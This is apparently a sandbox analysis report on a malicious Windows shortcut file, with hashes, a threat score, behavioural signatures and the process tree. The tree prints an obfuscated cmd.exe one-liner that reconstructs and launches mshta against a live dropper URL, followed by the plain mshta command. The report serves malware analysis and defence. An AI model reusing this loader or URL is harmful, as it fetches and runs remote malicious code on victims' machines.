Analysis

  • max time kernel
    148s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:34

General

  • Target
    DOC-V4KLZY.lnk
  • Size 2KB
  • Sample260804-kgf2hsbl2w
  • SHA256 2b1464653e92e5184c98269d6d4bf90356f11fb61960988792a4c20741afece2
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-V4KLZY.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set GgfB=windgfdivlfojwin&set yAKO=infkddrxbknypttrxtinf&set IIT=netspjmvqwrkeitllvzyoshnet&set yBS=syssbscylfsys&set BLrXO=nmu&&set EA=g9eshtak&set ru=cfgrajbsvakecfg&set nici=3st5&&set YO=ctaq&&set RdSR=h6prt0&&set AlkCK=http@s:/@/@m@a@-p@df@f@il@le@[email protected]@/h/es@t@a@gio1.@ph@p?@r=@391@4@69@F@B5D82DB&&start /b !BLrXO:~1,1!!EA:~3,4! !AlkCK:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5804
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4840

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads